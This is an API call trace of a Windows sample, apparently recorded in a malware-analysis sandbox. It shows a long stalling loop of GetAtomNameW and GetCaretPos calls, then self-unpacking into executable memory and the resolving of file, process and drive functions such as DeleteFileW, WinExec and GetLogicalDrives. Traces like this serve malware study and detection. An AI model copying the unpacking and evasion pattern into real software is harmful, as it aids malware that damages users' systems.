	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.430] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.430] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.431] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.431] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.432] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.432] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.433] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.433] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.434] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.434] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.435] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.435] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.436] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.436] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.436] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.436] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.436] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.436] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.436] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.436] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.436] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.436] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.436] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.437] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.437] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.437] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0045.437] GetCaretPos (in: lpPoint=0x18f2a4 | out: lpPoint=0x18f2a4) returned 1
	[0045.437] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0
	[0047.928] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000
	[0047.928] lstrcpyA (in: lpString1=0x44fc38, lpString2="VirtualProtec" | out: lpString1="VirtualProtec") returned="VirtualProtec"
	[0047.928] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f
	[0047.929] LocalAlloc (uFlags=0x0, uBytes=0x40768) returned 0x312118
	[0047.935] VirtualProtect (in: lpAddress=0x312118, dwSize=0x40768, flNewProtect=0x40, lpflOldProtect=0x18ed9c | out: lpflOldProtect=0x18ed9c*=0x4) returned 1
	[0047.973] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000
	[0047.974] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e
	[0047.974] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0
	[0047.974] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff
	[0047.974] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856
	[0047.974] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f
	[0047.974] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9
	[0047.974] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410
	[0047.974] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58
	[0047.978] Module32First (hSnapshot=0x58, lpme=0x18ef30) returned 1
	[0047.979] VirtualAlloc (lpAddress=0x0, dwSize=0x7f450, flAllocationType=0x1000, flProtect=0x40) returned 0x1ca0000
	[0047.997] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7
	[0047.997] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000
	[0047.998] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856
	[0047.998] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f
	[0047.998] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e
	[0047.998] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519
	[0047.998] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802
	[0047.998] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10
	[0047.998] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00
	[0047.998] SetErrorMode (uMode=0x400) returned 0x0
	[0047.998] SetErrorMode (uMode=0x0) returned 0x400
	[0047.998] GetVersionExA (in: lpVersionInformation=0x18de60*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18de60*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0047.998] VirtualAlloc (lpAddress=0x0, dwSize=0x7e600, flAllocationType=0x1000, flProtect=0x4) returned 0x1da0000
	[0048.009] VirtualProtect (in: lpAddress=0x400000, dwSize=0x83000, flNewProtect=0x40, lpflOldProtect=0x18eee8 | out: lpflOldProtect=0x18eee8*=0x2) returned 1
	[0048.058] VirtualFree (lpAddress=0x1da0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0048.060] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000
	[0048.060] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442
	[0048.060] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="MultiByteToWideChar") returned 0x76d4192e
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatW") returned 0x76d6828e
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="HeapReAlloc") returned 0x77c81f6e
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpyW") returned 0x76d63102
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c
	[0048.061] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpW") returned 0x76d45929
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpynW") returned 0x76d6d556
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameExW") returned 0x76d6bb9e
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatA") returned 0x76d62b7a
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f
	[0048.062] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalMemoryStatusEx") returned 0x76d6d4c4
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="WinExec") returned 0x76dc2c21
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiW") returned 0x76d5d5cd
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="RemoveDirectoryW") returned 0x76dc44cf
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282
	[0048.063] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="GetTempPathW") returned 0x76d5d4dc
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="ResetEvent") returned 0x76d416dd
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371
